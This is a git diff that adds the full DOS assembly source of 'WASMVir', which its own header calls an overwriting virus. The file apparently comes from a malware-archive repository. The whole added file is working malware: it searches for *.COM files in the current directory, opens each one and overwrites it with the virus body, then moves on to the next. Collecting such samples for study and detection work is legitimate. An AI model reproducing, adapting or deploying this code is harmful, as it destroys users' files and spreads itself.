mov fix

MSDOS/Virus.MSDOS.WasmVir.asm

@@ -0,0 +1,54 @@
+;WASMVir --> A lame overwriting virus to demonstrate WASM
+;Overwrites all files in the current directory
+;By Lord Natas
+
+		org	100h
+
+Start
+		mov	ah,4eh
+		mov	cx,7
+		mov	dx,offset FileSpec
+Virus
+
+;----- find file
+
+		int	21h
+		jc	EndV
+
+;----- open file
+
+		mov	ax,3d01h
+		mov	dx,9eh
+		int	21h
+		jc	Close
+
+		xchg	bx,ax
+
+;----- write file
+
+		mov	ah,40h
+		mov	cl,Length
+		mov	dx,offset Start
+		int	21h
+
+Close
+
+;----- close file
+
+		mov	ah,3eh
+		int	21h
+
+		mov	ah,4fh
+		jmps	Virus
+
+EndV
+		db	00C3h			;"RET"
+
+;----- data
+
+		db	'WASMVir'
+
+FileSpec	db	'*.COM',0
+
+TheEnd
+Length	equ offset TheEnd - offset Start